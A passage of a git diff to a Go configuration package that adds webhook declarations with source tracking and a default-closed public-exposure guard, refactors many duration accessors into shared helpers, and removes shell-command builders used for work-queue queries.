                     DB_MUTATIONS=$((DB_MUTATIONS + 1))
diff --git a/internal/config/compose.go b/internal/config/compose.go
index 75849ea05c..cae42161f5 100644
--- a/internal/config/compose.go
+++ b/internal/config/compose.go
@@ -280,6 +280,11 @@ func LoadWithIncludesOptions(fs fsys.FS, path string, opts LoadOptions, extraInc
 			}
 			root.Services = append(packServices, root.Services...)
 		}
+		// Merge root-pack webhooks with pack provenance stamped. The public
+		// pack-guard runs once post-composition; here we only record source.
+		if len(pc.Webhooks) > 0 {
+			root.Webhooks = append(stampWebhookSource(pc.Webhooks, cityRoot), root.Webhooks...)
+		}
 		// Merge pack agent patches (accumulated, applied later).
 		root.Patches.Agents = append(pc.Patches.Agents, root.Patches.Agents...)
 		if len(pc.Global.SessionLive) > 0 {
@@ -707,6 +712,10 @@ func LoadWithIncludesOptions(fs fsys.FS, path string, opts LoadOptions, extraInc
 	prov.Warnings = append(prov.Warnings, DetectLegacyProviderInheritance(root, path)...)
 	prov.Warnings = append(prov.Warnings, detectLegacyWorkspaceFields(root, path, prov.Workspace)...)
 
+	// Enforce the default-closed webhook public pack-guard over the fully
+	// composed webhook set (every merge site has stamped SourceDir by now).
+	prov.Warnings = append(prov.Warnings, applyWebhookPackGuard(root, cityRoot)...)
+
 	// Build the resolved provider cache now that compose + patch have
 	// populated the full provider table. Chain resolution errors
 	// (cycles, unknown base, wrapper-resume missing) surface here so
@@ -981,6 +990,13 @@ func mergeFragment(base, fragment *City, fragMeta toml.MetaData, fragPath string
 	// Services: concatenate.
 	base.Services = append(base.Services, fragment.Services...)
 
+	// Webhooks: concatenate WITH fragment provenance stamped. A fragment is not
+	// the root city.toml, so its webhooks must not read as operator-trusted
+	// (security review attack #9). Stamping SourceDir here makes the
+	// post-composition public pack-guard cap an unauthorized public fragment
+	// webhook to tenant by default.
+	base.Webhooks = append(base.Webhooks, stampWebhookSource(fragment.Webhooks, filepath.Dir(fragPath))...)
+
 	// GitHub PR monitors: concatenate. Validation rejects duplicate repo/base
 	// ownership after patches have had a chance to adjust declarations.
 	base.GitHub.PRMonitors = append(base.GitHub.PRMonitors, fragment.GitHub.PRMonitors...)
diff --git a/internal/config/config.go b/internal/config/config.go
index cf1411794d..42d08d4911 100644
--- a/internal/config/config.go
+++ b/internal/config/config.go
@@ -13,13 +13,11 @@ import (
 	"unicode"
 
 	"github.com/BurntSushi/toml"
-	"github.com/gastownhall/gascity/internal/beadmeta"
 	"github.com/gastownhall/gascity/internal/citylayout"
 	"github.com/gastownhall/gascity/internal/fsys"
 	"github.com/gastownhall/gascity/internal/orders"
 	"github.com/gastownhall/gascity/internal/pricing"
 	"github.com/gastownhall/gascity/internal/remotesource"
-	"github.com/gastownhall/gascity/internal/shellquote"
 )
 
 // validAgentName matches names safe for use in session identifiers.
@@ -285,6 +283,14 @@ type City struct {
 	// Services declares workspace-owned HTTP services mounted on the
 	// controller edge under /svc/{name}.
 	Services []Service `toml:"service,omitempty"`
+	// Webhooks declares inbound HTTP receivers mounted on the supervisor edge
+	// under /hook/{name}. Composed like Services (pack concatenation + SourceDir
+	// provenance + the default-closed public pack-guard).
+	Webhooks []Webhook `toml:"webhook,omitempty"`
+	// WebhookPolicy holds city-level webhook governance (the [webhooks] table,
+	// notably allow_public grants). Authored only in the root city.toml; never
+	// merged from packs or fragments so a pack cannot grant itself exposure.
+	WebhookPolicy WebhookPolicyConfig `toml:"webhooks,omitempty"`
 	// GitHub configures GitHub-facing repository monitors.
 	GitHub GitHubConfig `toml:"github,omitempty"`
 	// ExtMsg configures the external-messaging fabric (default routes
@@ -619,6 +625,12 @@ type Rig struct {
 	// invoked with only a bead ID (no explicit target). Resolved via
 	// resolveAgentIdentity. Example: "rig/polecat"
 	DefaultSlingTarget string `toml:"default_sling_target,omitempty"`
+	// DefaultSlingTargets is the plural form of DefaultSlingTarget.
+	// When set, targetless gc sling picks one entry at random each dispatch.
+	// Takes precedence over DefaultSlingTarget when non-empty. Each entry is
+	// resolved the same way as DefaultSlingTarget. Example:
+	//   default_sling_targets = ["rig/polecat-a", "rig/polecat-b"]
+	DefaultSlingTargets []string `toml:"default_sling_targets,omitempty"`
 	// SessionSleep overrides workspace-level idle sleep defaults for agents in
 	// this rig.
 	SessionSleep SessionSleepConfig `toml:"session_sleep,omitempty"`
@@ -1795,69 +1807,65 @@ type SessionConfig struct {
 	RemoteMatch string `toml:"remote_match,omitempty"`
 }
 
-// SetupTimeoutDuration returns the setup timeout as a time.Duration.
-// Defaults to 10s if empty or unparseable.
-func (s *SessionConfig) SetupTimeoutDuration() time.Duration {
-	if s.SetupTimeout == "" {
-		return 10 * time.Second
+// durationOr parses raw as a Go duration, returning def when raw is empty or
+// unparseable. Durations that parse cleanly — including zero and negative
+// values — pass through unchanged; accessors that clamp them layer their own
+// policy on top. This is the single owner of the parse-error fallback that the
+// duration accessors below share.
+func durationOr(raw string, def time.Duration) time.Duration {
+	if raw == "" {
+		return def
 	}
-	d, err := time.ParseDuration(s.SetupTimeout)
+	d, err := time.ParseDuration(raw)
 	if err != nil {
-		return 10 * time.Second
+		return def
 	}
 	return d
 }
 
-// NudgeReadyTimeoutDuration returns the nudge ready timeout as a time.Duration.
-// Defaults to 10s if empty or unparseable.
-func (s *SessionConfig) NudgeReadyTimeoutDuration() time.Duration {
-	if s.NudgeReadyTimeout == "" {
-		return 10 * time.Second
+// durationFloorOr parses raw like durationOr, then clamps the result: a
+// non-positive duration falls back to def, and a positive duration below floor
+// is raised to floor. Used for opt-in timeouts that must not spin below a
+// storm-protection minimum.
+func durationFloorOr(raw string, def, floor time.Duration) time.Duration {
+	d := durationOr(raw, def)
+	if d <= 0 {
+		return def
 	}
-	d, err := time.ParseDuration(s.NudgeReadyTimeout)
-	if err != nil {
-		return 10 * time.Second
+	if d < floor {
+		return floor
 	}
 	return d
 }
 
+// SetupTimeoutDuration returns the setup timeout as a time.Duration.
+// Defaults to 10s if empty or unparseable.
+func (s *SessionConfig) SetupTimeoutDuration() time.Duration {
+	return durationOr(s.SetupTimeout, 10*time.Second)
+}
+
+// NudgeReadyTimeoutDuration returns the nudge ready timeout as a time.Duration.
+// Defaults to 10s if empty or unparseable.
+func (s *SessionConfig) NudgeReadyTimeoutDuration() time.Duration {
+	return durationOr(s.NudgeReadyTimeout, 10*time.Second)
+}
+
 // NudgeRetryIntervalDuration returns the nudge retry interval as a time.Duration.
 // Defaults to 500ms if empty or unparseable.
 func (s *SessionConfig) NudgeRetryIntervalDuration() time.Duration {
-	if s.NudgeRetryInterval == "" {
-		return 500 * time.Millisecond
-	}
-	d, err := time.ParseDuration(s.NudgeRetryInterval)
-	if err != nil {
-		return 500 * time.Millisecond
-	}
-	return d
+	return durationOr(s.NudgeRetryInterval, 500*time.Millisecond)
 }
 
 // NudgeLockTimeoutDuration returns the nudge lock timeout as a time.Duration.
 // Defaults to 30s if empty or unparseable.
 func (s *SessionConfig) NudgeLockTimeoutDuration() time.Duration {
-	if s.NudgeLockTimeout == "" {
-		return 30 * time.Second
-	}
-	d, err := time.ParseDuration(s.NudgeLockTimeout)
-	if err != nil {
-		return 30 * time.Second
-	}
-	return d
+	return durationOr(s.NudgeLockTimeout, 30*time.Second)
 }
 
 // StartupTimeoutDuration returns the startup timeout as a time.Duration.
 // Defaults to 60s if empty or unparseable.
 func (s *SessionConfig) StartupTimeoutDuration() time.Duration {
-	if s.StartupTimeout == "" {
-		return 60 * time.Second
-	}
-	d, err := time.ParseDuration(s.StartupTimeout)
-	if err != nil {
-		return 60 * time.Second
-	}
-	return d
+	return durationOr(s.StartupTimeout, 60*time.Second)
 }
 
 // PendingCreateTTLDuration returns the start-pending session bead TTL as a
@@ -1880,20 +1888,7 @@ func (s *SessionConfig) PendingCreateTTLDuration() time.Duration {
 // by setting a duration above its agents' longest legitimate quiet period gets
 // the behavior.
 func (s *SessionConfig) ProgressStallTimeoutDuration() time.Duration {
-	if s.ProgressStallTimeout == "" {
-		return 0
-	}
-	d, err := time.ParseDuration(s.ProgressStallTimeout)
-	if err != nil {
-		return 0
-	}
-	if d <= 0 {
-		return 0
-	}
-	if d < ProgressStallTimeoutMinimum {
-		return ProgressStallTimeoutMinimum
-	}
-	return d
+	return durationFloorOr(s.ProgressStallTimeout, 0, ProgressStallTimeoutMinimum)
 }
 
 // DebounceMsOrDefault returns the debounce interval in milliseconds.
@@ -1930,27 +1925,13 @@ type ACPSessionConfig struct {
 // HandshakeTimeoutDuration returns the handshake timeout as a time.Duration.
 // Defaults to 30s if empty or unparseable.
 func (a *ACPSessionConfig) HandshakeTimeoutDuration() time.Duration {
-	if a.HandshakeTimeout == "" {
-		return 30 * time.Second
-	}
-	d, err := time.ParseDuration(a.HandshakeTimeout)
-	if err != nil {
-		return 30 * time.Second
-	}
-	return d
+	return durationOr(a.HandshakeTimeout, 30*time.Second)
 }
 
 // NudgeBusyTimeoutDuration returns the nudge busy timeout as a time.Duration.
 // Defaults to 60s if empty or unparseable.
 func (a *ACPSessionConfig) NudgeBusyTimeoutDuration() time.Duration {
-	if a.NudgeBusyTimeout == "" {
-		return 60 * time.Second
-	}
-	d, err := time.ParseDuration(a.NudgeBusyTimeout)
-	if err != nil {
-		return 60 * time.Second
-	}
-	return d
+	return durationOr(a.NudgeBusyTimeout, 60*time.Second)
 }
 
 // OutputBufferLinesOrDefault returns the output buffer line count.
@@ -2097,14 +2078,7 @@ func (c EventsRotationConfig) CheckIntervalDurationOrDefault() time.Duration {
 // ArchiveRetainAgeDuration parses ArchiveRetainAge. Empty or invalid values
 // return zero, which keeps all archives.
 func (c EventsRotationConfig) ArchiveRetainAgeDuration() time.Duration {
-	if strings.TrimSpace(c.ArchiveRetainAge) == "" {
-		return 0
-	}
-	d, err := time.ParseDuration(c.ArchiveRetainAge)
-	if err != nil {
-		return 0
-	}
-	return d
+	return durationOr(c.ArchiveRetainAge, 0)
 }
 
 const (
@@ -2244,14 +2218,7 @@ const DefaultDoltLockReleaseTimeout = time.Minute
 // through loadCityConfig already reject them via
 // ValidateNonNegativeDurations. Mirrors DoltStopTimeoutDuration's policy.
 func (d *DoltConfig) DoltLockReleaseTimeoutDuration() time.Duration {
-	if d.DoltLockReleaseTimeout == "" {
-		return DefaultDoltLockReleaseTimeout
-	}
-	dur, err := time.ParseDuration(d.DoltLockReleaseTimeout)
-	if err != nil {
-		return DefaultDoltLockReleaseTimeout
-	}
-	return dur
+	return durationOr(d.DoltLockReleaseTimeout, DefaultDoltLockReleaseTimeout)
 }
 
 // FormulasConfig is the legacy [formulas] table with no supported fields:
@@ -2331,14 +2298,7 @@ func normalizeLegacyOrderOverrideAliases(cfg *City) {
 // MaxTimeoutDuration parses MaxTimeout as a Go duration.
 // Returns 0 if unset or unparseable (meaning no cap).
 func (c OrdersConfig) MaxTimeoutDuration() time.Duration {
-	if c.MaxTimeout == "" {
-		return 0
-	}
-	d, err := time.ParseDuration(c.MaxTimeout)
-	if err != nil {
-		return 0
-	}
-	return d
+	return durationOr(c.MaxTimeout, 0)
 }
 
 // DefaultAPIPort is the default TCP port for the API server.
@@ -2413,14 +2373,7 @@ type SessionSleepConfig struct {
 
 // IdleTimeoutDuration parses IdleTimeout, returning 0 if unset or invalid.
 func (c ChatSessionsConfig) IdleTimeoutDuration() time.Duration {
-	if c.IdleTimeout == "" {
-		return 0
-	}
-	d, err := time.ParseDuration(c.IdleTimeout)
-	if err != nil {
-		return 0
-	}
-	return d
+	return durationOr(c.IdleTimeout, 0)
 }
 
 // DefaultManualGracePeriod is the grace period for manual sessions when
@@ -2431,17 +2384,7 @@ const DefaultManualGracePeriod = 10 * time.Minute
 // GracePeriodDuration parses GracePeriod, returning DefaultManualGracePeriod
 // if unset, 0 if explicitly set to "0", or the parsed duration.
 func (c ChatSessionsConfig) GracePeriodDuration() time.Duration {
-	switch c.GracePeriod {
-	case "":
-		return DefaultManualGracePeriod
-	case "0", "0s":
-		return 0
-	}
-	d, err := time.ParseDuration(c.GracePeriod)
-	if err != nil {
-		return DefaultManualGracePeriod
-	}
-	return d
+	return durationOr(c.GracePeriod, DefaultManualGracePeriod)
 }
 
 // LocalDoctorCheck is a city-local doctor check declared inline in city.toml
@@ -2680,27 +2623,13 @@ type DoltMaintenance struct {
 // (weekly) when unset or unparseable. Invalid values should already have
 // surfaced as warnings from ValidateDurations at load time.
 func (d DoltMaintenance) IntervalOrDefault() time.Duration {
-	if d.Interval == "" {
-		return 168 * time.Hour
-	}
-	v, err := time.ParseDuration(d.Interval)
-	if err != nil {
-		return 168 * time.Hour
-	}
-	return v
+	return durationOr(d.Interval, 168*time.Hour)
 }
 
 // GCTimeoutOrDefault returns the parsed GCTimeout, falling back to 10m
 // when unset or unparseable.
 func (d DoltMaintenance) GCTimeoutOrDefault() time.Duration {
-	if d.GCTimeout == "" {
-		return 10 * time.Minute
-	}
-	v, err := time.ParseDuration(d.GCTimeout)
-	if err != nil {
-		return 10 * time.Minute
-	}
-	return v
+	return durationOr(d.GCTimeout, 10*time.Minute)
 }
 
 // DaemonConfig holds controller daemon settings.
@@ -2922,14 +2851,7 @@ func (d *DaemonConfig) AutoPruneWorkerDirEnabled() bool {
 // PatrolIntervalDuration returns the patrol interval as a time.Duration.
 // Defaults to 30s if empty or unparseable.
 func (d *DaemonConfig) PatrolIntervalDuration() time.Duration {
-	if d.PatrolInterval == "" {
-		return 30 * time.Second
-	}
-	dur, err := time.ParseDuration(d.PatrolInterval)
-	if err != nil {
-		return 30 * time.Second
-	}
-	return dur
+	return durationOr(d.PatrolInterval, 30*time.Second)
 }
 
 // StatusSnapshotTimeoutDuration returns the bound for the `gc status`
@@ -2966,14 +2888,7 @@ func (d *DaemonConfig) MaxRestartsOrDefault() int {
 // RestartWindowDuration returns the restart window as a time.Duration.
 // Defaults to 1h if empty or unparseable.
 func (d *DaemonConfig) RestartWindowDuration() time.Duration {
-	if d.RestartWindow == "" {
-		return time.Hour
-	}
-	dur, err := time.ParseDuration(d.RestartWindow)
-	if err != nil {
-		return time.Hour
-	}
-	return dur
+	return durationOr(d.RestartWindow, time.Hour)
 }
 
 // SessionCircuitBreakerMaxRestartsOrDefault returns the named-session respawn
@@ -2988,28 +2903,13 @@ func (d *DaemonConfig) SessionCircuitBreakerMaxRestartsOrDefault() int {
 // SessionCircuitBreakerWindowDuration returns the named-session respawn
 // circuit-breaker rolling window. Empty reuses RestartWindowDuration.
 func (d *DaemonConfig) SessionCircuitBreakerWindowDuration() time.Duration {
-	if d.SessionCircuitBreakerWindow == "" {
-		return d.RestartWindowDuration()
-	}
-	dur, err := time.ParseDuration(d.SessionCircuitBreakerWindow)
-	if err != nil {
-		return d.RestartWindowDuration()
-	}
-	return dur
+	return durationOr(d.SessionCircuitBreakerWindow, d.RestartWindowDuration())
 }
 
 // SessionCircuitBreakerResetAfterDuration returns the named-session respawn
 // circuit-breaker cooldown. Empty or invalid values default to 2 * window.
 func (d *DaemonConfig) SessionCircuitBreakerResetAfterDuration() time.Duration {
-	window := d.SessionCircuitBreakerWindowDuration()
-	if d.SessionCircuitBreakerResetAfter == "" {
-		return 2 * window
-	}
-	dur, err := time.ParseDuration(d.SessionCircuitBreakerResetAfter)
-	if err != nil {
-		return 2 * window
-	}
-	return dur
+	return durationOr(d.SessionCircuitBreakerResetAfter, 2*d.SessionCircuitBreakerWindowDuration())
 }
 
 // NudgeDispatcherMode returns the nudge dispatcher mode, defaulting to
@@ -3027,14 +2927,7 @@ func (d *DaemonConfig) NudgeDispatcherMode() string {
 // ShutdownTimeoutDuration returns the shutdown timeout as a time.Duration.
 // Defaults to 5s if empty or unparseable. Zero means immediate kill.
 func (d *DaemonConfig) ShutdownTimeoutDuration() time.Duration {
-	if d.ShutdownTimeout == "" {
-		return 5 * time.Second
-	}
-	dur, err := time.ParseDuration(d.ShutdownTimeout)
-	if err != nil {
-		return 5 * time.Second
-	}
-	return dur
+	return durationOr(d.ShutdownTimeout, 5*time.Second)
 }
 
 // DefaultDoltStopTimeout is the SIGTERM→SIGKILL grace for the managed dolt
@@ -3049,14 +2942,7 @@ const DefaultDoltStopTimeout = 30 * time.Second
 // must guarantee a flush window should treat zero as a misconfiguration
 // upstream rather than silently overriding it here.
 func (d *DaemonConfig) DoltStopTimeoutDuration() time.Duration {
-	if d.DoltStopTimeout == "" {
-		return DefaultDoltStopTimeout
-	}
-	dur, err := time.ParseDuration(d.DoltStopTimeout)
-	if err != nil {
-		return DefaultDoltStopTimeout
-	}
-	return dur
+	return durationOr(d.DoltStopTimeout, DefaultDoltStopTimeout)
 }
 
 // DefaultDoltStartAddressInUseRetryWindow is the per-port retry window used
@@ -3080,14 +2966,7 @@ const DefaultDoltStartAddressInUseRetryWindow = 30 * time.Second
 // as a misconfiguration upstream rather than silently overriding it here.
 // Mirrors DoltStopTimeoutDuration's policy.
 func (d *DaemonConfig) DoltStartAddressInUseRetryWindowDuration() time.Duration {
-	if d.DoltStartAddressInUseRetryWindow == "" {
-		return DefaultDoltStartAddressInUseRetryWindow
-	}
-	dur, err := time.ParseDuration(d.DoltStartAddressInUseRetryWindow)
-	if err != nil {
-		return DefaultDoltStartAddressInUseRetryWindow
-	}
-	return dur
+	return durationOr(d.DoltStartAddressInUseRetryWindow, DefaultDoltStartAddressInUseRetryWindow)
 }
 
 // DefaultProbeConcurrency is the default bd probe concurrency limit.
@@ -3147,14 +3026,7 @@ func (d *DaemonConfig) MaxWakesPerTickOrDefault() int {
 // DriftDrainTimeoutDuration returns the drift drain timeout as a time.Duration.
 // Defaults to 2m if empty or unparseable.
 func (d *DaemonConfig) DriftDrainTimeoutDuration() time.Duration {
-	if d.DriftDrainTimeout == "" {
-		return 2 * time.Minute
-	}
-	dur, err := time.ParseDuration(d.DriftDrainTimeout)
-	if err != nil {
-		return 2 * time.Minute
-	}
-	return dur
+	return durationOr(d.DriftDrainTimeout, 2*time.Minute)
 }
 
 // DefaultStartReadyTimeout is the default wall-clock budget `gc start` and
@@ -3168,40 +3040,19 @@ const DefaultStartReadyTimeout = 5 * time.Minute
 // time.Duration. Defaults to DefaultStartReadyTimeout when empty or
 // unparseable.
 func (d *DaemonConfig) StartReadyTimeoutDuration() time.Duration {
-	if d.StartReadyTimeout == "" {
-		return DefaultStartReadyTimeout
-	}
-	dur, err := time.ParseDuration(d.StartReadyTimeout)
-	if err != nil {
-		return DefaultStartReadyTimeout
-	}
-	return dur
+	return durationOr(d.StartReadyTimeout, DefaultStartReadyTimeout)
 }
 
 // WispGCIntervalDuration returns the wisp GC interval as a time.Duration.
 // Returns 0 if empty or unparseable.
 func (d *DaemonConfig) WispGCIntervalDuration() time.Duration {
-	if d.WispGCInterval == "" {
-		return 0
-	}
-	dur, err := time.ParseDuration(d.WispGCInterval)
-	if err != nil {
-		return 0
-	}
-	return dur
+	return durationOr(d.WispGCInterval, 0)
 }
 
 // WispTTLDuration returns the wisp TTL as a time.Duration.
 // Returns 0 if empty or unparseable.
 func (d *DaemonConfig) WispTTLDuration() time.Duration {
-	if d.WispTTL == "" {
-		return 0
-	}
-	dur, err := time.ParseDuration(d.WispTTL)
-	if err != nil {
-		return 0
-	}
-	return dur
+	return durationOr(d.WispTTL, 0)
 }
 
 // WispGCEnabled reports whether wisp GC is configured. Both wisp_gc_interval
@@ -3840,27 +3691,13 @@ func (l agentLayout) String() string {
 // IdleTimeoutDuration returns the idle timeout as a time.Duration.
 // Returns 0 if empty or unparseable (disabled).
 func (a *Agent) IdleTimeoutDuration() time.Duration {
-	if a.IdleTimeout == "" {
-		return 0
-	}
-	d, err := time.ParseDuration(a.IdleTimeout)
-	if err != nil {
-		return 0
-	}
-	return d
+	return durationOr(a.IdleTimeout, 0)
 }
 
 // MaxSessionAgeDuration returns the maximum session age as a time.Duration.
 // Returns 0 if empty or unparseable (disabled: no preemptive restart).
 func (a *Agent) MaxSessionAgeDuration() time.Duration {
-	if a.MaxSessionAge == "" {
-		return 0
-	}
-	d, err := time.ParseDuration(a.MaxSessionAge)
-	if err != nil {
-		return 0
-	}
-	return d
+	return durationOr(a.MaxSessionAge, 0)
 }
 
 // MaxSessionAgeJitterDuration returns the jitter bound for max session age
@@ -3898,710 +3735,6 @@ func (a *Agent) AttachEnabled() bool {
 	return a.Attach == nil || *a.Attach
 }
 
-// bdReadyPoolDemandShell returns the canonical bd ready predicate for
-// unassigned, non-epic pool demand routed to target. gc.routed_to is the
-// canonical persisted routing key: the graph.v2 stamper and the legacy stamper
-// both stamp it on every routable bead, including the workflow root (ga-eld2x
-// retired the short-lived gc.run_target wire field). This predicate is the main
-// source of truth for "is there work on this routed queue?" that both the
-// worker (via EffectiveWorkQuery Tier 3) and the reconciler (via
-// EffectivePoolDemandQuery, count-form) ask; diverging the two re-introduces
-// the protocol-mismatch class (see the "scale_check ↔ work_query
-// correspondence" note in engdocs/architecture/dispatch.md).
-//
-// target is passed as a positional argument to the outer sh -c command, not
-// interpolated into the nested shell body. That keeps routes containing shell
-// metacharacters as data instead of executable syntax.
-func bdReadyIncludeEphemeralArg(includeEphemeralReady bool) string {
-	if includeEphemeralReady {
-		return " --include-ephemeral"
-	}
-	return ""
-}
-
-// jqMeta renders the jq expression that reads a bead-metadata key with an
-// empty-string default, e.g. (.metadata["gc.routed_to"] // ""). Shell/jq
-// builders use it so embedded key spellings stay anchored to the beadmeta
-// vocabulary constants.
-func jqMeta(key string) string {
-	return `(.metadata["` + key + `"] // "")`
-}
-
-func bdReadyPoolDemandShell(limitFlag string, includeEphemeralReady bool) string {
-	return `bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --metadata-field "` + beadmeta.RoutedToMetadataKey + `=$target" --unassigned --exclude-type=epic --json ` + limitFlag
-}
-
-// bdReadyPoolDemandMigrationShell is a temporary raw compatibility probe for
-// graph.v2 workflow roots created before gc.routed_to root stamping shipped.
-// It is scoped to workflow roots so gc.run_target remains an authoring hint
-// everywhere else. Callers must pass its output through
-// poolDemandMigrationFilterJQ so a stale divergent gc.run_target cannot remain
-// visible once a root carries gc.routed_to. This retirement-window fallback
-// requires jq in the default worker/reconciler environment; remove it with the
-// Go-side legacy candidates after the backfill completion tracked by ga-dhf44.
-func bdReadyPoolDemandMigrationShell(limitFlag string, includeEphemeralReady bool) string {
-	return `bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --metadata-field "` + beadmeta.RunTargetMetadataKey + `=$target" --metadata-field "` + beadmeta.KindMetadataKey + `=` + beadmeta.KindWorkflow + `" --unassigned --exclude-type=epic --json --sort oldest ` + limitFlag
-}
-
-func poolDemandMigrationFilterJQ(limit int) string {
-	filter := `[.[] | select(` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == "")]`
-	if limit > 0 {
-		filter += ` | .[:` + strconv.Itoa(limit) + `]`
-	}
-	return shellquote.Join([]string{"jq", filter})
-}
-
-func bdQueryEphemeralStatusShell(status string) string {
-	return `bd query --json ` + shellquote.Quote("ephemeral=true AND status="+status) + ` --limit=0`
-}
-
-func bdQueryEphemeralStatusQuietShell(status string) string {
-	return bdQueryEphemeralStatusShell(status) + ` 2>/dev/null`
-}
-
-func legacyEphemeralReadyFilterJQ(selector string, limit int) string {
-	filter := `[.[] | ` + selector +
-		` | select(((.issue_type // .type // "") != "epic"))` +
-		` | select(([ (.dependencies // [])[]` +
-		` | select((.type // .dep_type // "") as $t | ($t == "blocks" or $t == "waits-for" or $t == "conditional-blocks"))` +
-		` | select((.status // .depends_on_status // "") != "closed") ] | length) == 0)]` +
-		` | sort_by(.created_at // "")`
-	if limit > 0 {
-		filter += ` | .[:` + strconv.Itoa(limit) + `]`
-	}
-	return filter
-}
-
-func legacyEphemeralPoolDemandShell(limit int, includeEphemeralReady, quiet bool) string {
-	if includeEphemeralReady {
-		return `printf "[]"`
-	}
-	filter := legacyEphemeralReadyFilterJQ(
-		`select((.assignee // "") == "")`+
-			` | select((`+jqMeta(beadmeta.RoutedToMetadataKey)+` == $target) or ((`+jqMeta(beadmeta.RoutedToMetadataKey)+` == "") and (`+jqMeta(beadmeta.RunTargetMetadataKey)+` == $target) and (`+jqMeta(beadmeta.KindMetadataKey)+` == "`+beadmeta.KindWorkflow+`")))`,
-		limit,
-	)
-	query := bdQueryEphemeralStatusShell("open")
-	if quiet {
-		query = bdQueryEphemeralStatusQuietShell("open")
-	}
-	jqStderr := ""
-	if quiet {
-		jqStderr = ` 2>/dev/null`
-	}
-	return `{ ` + query + ` | jq --arg target "$target" ` + shellquote.Quote(filter) + jqStderr + `; } || printf "[]"`
-}
-
-// poolDemandFirstRowFunctionScript emits the work_query Tier 3 function: it
-// reads the first ready, unassigned, routed bead for the supplied target,
-// prints it, and exits 0. The caller appends a terminal fallthrough
-// (printf "[]") for the empty case.
-func poolDemandFirstRowFunctionScript(includeEphemeralReady bool) string {
-	return `probe_pool_demand() { ` +
-		`target="$1"; ` +
-		`[ -z "$target" ] && return 1; ` +
-		`r=$(` + routedReadyTierCommand(includeEphemeralReady) + `); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
-		`legacy_candidates=$(` + bdReadyPoolDemandMigrationShell("--limit=20", includeEphemeralReady) + ` 2>/dev/null); ` +
-		`r=$(printf "%s" "$legacy_candidates" | ` + poolDemandMigrationFilterJQ(1) + ` 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
-		`legacy_ephemeral_candidates=$(` + legacyEphemeralPoolDemandShell(20, includeEphemeralReady, true) + `); ` +
-		`r=$(printf "%s" "$legacy_ephemeral_candidates" | jq '.[0:1]' 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
-		`return 1; ` +
-		`}; `
-}
-
-func routedReadyTierCommand(includeEphemeralReady bool) string {
-	// The shared predicate stays order-free so the count-form does no wasted
-	// sorting; the worker first-row path asks bd for the oldest candidate.
-	return bdReadyPoolDemandShell("--sort oldest --limit=1", includeEphemeralReady) + ` 2>/dev/null`
-}
-
-// poolDemandCountShell emits the reconciler count-form for target: it counts
-// ready, unassigned, routed demand and prints the array length. It shares the
-// canonical and migration predicates with poolDemandFirstRowFunctionScript so
-// the reconciler's spawn decision and the worker's claim decision read the
-// same demand shape.
-//
-// Unlike the work_query probe, this form must NOT redirect bd stderr or default
-// to zero: a failed `bd ready` has to surface as an error rather than
-// masquerade as "no demand", which would silently stop the pool from spawning.
-// The && chain ensures any non-zero bd exit short-circuits the whole expression
-// (TestEffectiveScaleCheckUsesReadyOnly).
-func poolDemandCountShell(target string, includeEphemeralReady bool) string {
-	script := `target="$1"; ` +
-		`ready_json=$(` + bdReadyPoolDemandShell("--limit 0", includeEphemeralReady) + `) || exit $?; ` +
-		`legacy_candidates=$(` + bdReadyPoolDemandMigrationShell("--limit 0", includeEphemeralReady) + `) || exit $?; ` +
-		`legacy_json=$(printf "%s" "$legacy_candidates" | ` + poolDemandMigrationFilterJQ(0) + `) || exit $?; ` +
-		`legacy_ephemeral_json=$(` + legacyEphemeralPoolDemandShell(0, includeEphemeralReady, false) + `); ` +
-		`printf "%s\n%s\n%s\n" "$ready_json" "$legacy_json" "$legacy_ephemeral_json" | jq -s "(add // []) | unique_by(.id) | length"`
-	return shellquote.Join([]string{"sh", "-c", script, "--", target})
-}
-
-func (a *Agent) poolDemandTarget() string {
-	target := a.QualifiedName()
-	if a.PoolName != "" {
-		target = a.PoolName
-	}
-	return target
-}
-
-func standardAssignedWorkQueryScript(includeEphemeralReady bool) string {
-	return standardAssignedInProgressWorkQueryScript(includeEphemeralReady) +
-		standardAssignedReadyWorkQueryScript(includeEphemeralReady)
-}
-
-func standardAssignedInProgressWorkQueryScript(includeEphemeralReady bool) string {
-	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
-		`[ -z "$id" ] && continue; ` +
-		`r=$(bd list --status in_progress --assignee="$id" --json --limit=1 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
-		ephemeralAssignedInProgressProbeScript("id", includeEphemeralReady) +
-		`done; `
-}
-
-func standardAssignedReadyWorkQueryScript(includeEphemeralReady bool) string {
-	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
-		`[ -z "$id" ] && continue; ` +
-		`r=$(bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --assignee="$id" --json --limit=1 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
-		ephemeralAssignedReadyProbeScript("id", includeEphemeralReady) +
-		`done; `
-}
-
-func legacyControlAssignedWorkQueryScript(includeEphemeralReady bool) string {
-	return legacyControlAssignedInProgressWorkQueryScript(includeEphemeralReady) +
-		legacyControlAssignedReadyWorkQueryScript(includeEphemeralReady)
-}
-
-func legacyControlAssignedInProgressWorkQueryScript(includeEphemeralReady bool) string {
-	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
-		`[ -z "$id" ] && continue; ` +
-		`legacy=""; case "$id" in *control-dispatcher) legacy="${id%control-dispatcher}workflow-control";; esac; ` +
-		`for cand in "$id" "$legacy"; do ` +
-		`[ -z "$cand" ] && continue; ` +
-		`r=$(bd list --status in_progress --assignee="$cand" --json --limit=1 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
-		ephemeralAssignedInProgressProbeScript("cand", includeEphemeralReady) +
-		`done; ` +
-		`done; `
-}
-
-func legacyControlAssignedReadyWorkQueryScript(includeEphemeralReady bool) string {
